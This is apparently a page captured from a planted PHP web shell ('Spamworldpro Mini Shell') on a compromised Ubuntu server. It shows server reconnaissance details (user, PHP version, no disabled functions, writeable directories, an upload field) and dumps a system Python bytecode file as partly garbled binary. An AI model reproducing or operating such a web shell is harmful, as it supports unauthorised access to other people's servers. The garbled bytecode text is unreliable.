Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/landscape/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/landscape/lib/__pycache__/store.cpython-310.pyc
o

���c��@s<dZzddlZWneyddlmZYnwdd�ZdS)z+Functions used by all sqlite-backed stores.�N)�dbapi2cs�fdd�}|S)a�Decorator that encloses the method in a database transaction.

    Even though SQLite is supposed to be useful in autocommit mode, we've
    found cases where the database continued to be locked for writing
    until the cursor was closed.  With this in mind, instead of using
    the autocommit mode, we explicitly terminate transactions and enforce
    cursor closing with this decorator.
    cs�|jst�|j�|_|��z%|j��}z�||g|�Ri|��}W|��n|��w|j��W|Sty@|j�	��w)N)
�_db�sqlite3�connect�	_filename�_ensure_schema�cursor�close�commit�
BaseException�rollback)�self�args�kwargsr�result��method��5/usr/lib/python3/dist-packages/landscape/lib/store.py�inners
�
�zwith_cursor.<locals>.innerr)rrrrr�with_cursor	s
r)�__doc__r�ImportError�	pysqlite2rrrrrr�<module>s�

Spamworldpro Mini